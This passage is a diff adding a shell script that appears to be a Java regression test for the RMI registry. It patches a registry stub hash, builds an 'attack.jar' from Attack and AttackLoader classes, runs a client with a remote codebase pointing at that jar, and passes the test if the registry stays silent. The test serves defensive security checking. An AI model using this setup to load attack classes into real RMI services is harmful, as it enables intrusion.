+sed 's/\(long interfaceHash\).*$/\1 = 4905912898345647071L;/' \
+        ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Stub.java.orig > ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Stub.java
+
+${TESTJAVA}${FS}bin${FS}javac -d classes -Xbootclasspath/p:classes ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Skel.java ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Stub.java
+
+${TESTJAVA}${FS}bin${FS}jar -cf altreg.jar -C classes .
+
+cd ..
+
+${TESTJAVA}${FS}bin${FS}javac Attack.java AttackLoader.java
+${TESTJAVA}${FS}bin${FS}jar -cf attack.jar Attack.class AttackLoader.class
+
+${TESTJAVA}${FS}bin${FS}javac -Xbootclasspath/p:altreg/altreg.jar -cp attack.jar Main.java
+${TESTJAVA}${FS}bin${FS}java -Xbootclasspath/p:altreg/altreg.jar -cp .${PS}attack.jar \
+             -Djava.rmi.server.codebase="file:///`pwd`/attack.jar" Main
+
+#done - kill rmiregistry and check result
+sleep 1
+kill -9 ${RMIREG_PID}
+
+#wait for process to die
+sleep 3
+
+# Test is successful if rmiregistry was silent.
+if [ -s ${RMIREG_OUT} ]; then
+    # rmiregistry log file has messages in it; show them
+    echo ========== ${RMIREG_OUT} ==========
+    cat ${RMIREG_OUT}
+    echo ========== end of ${RMIREG_OUT} ==========
+    echo "Failed"
+    exitCode=1;
+else
+    echo "Passed"
+    exitCode=0
+fi
+rm -rf ${RMIREG_OUT}
+exit ${exitCode}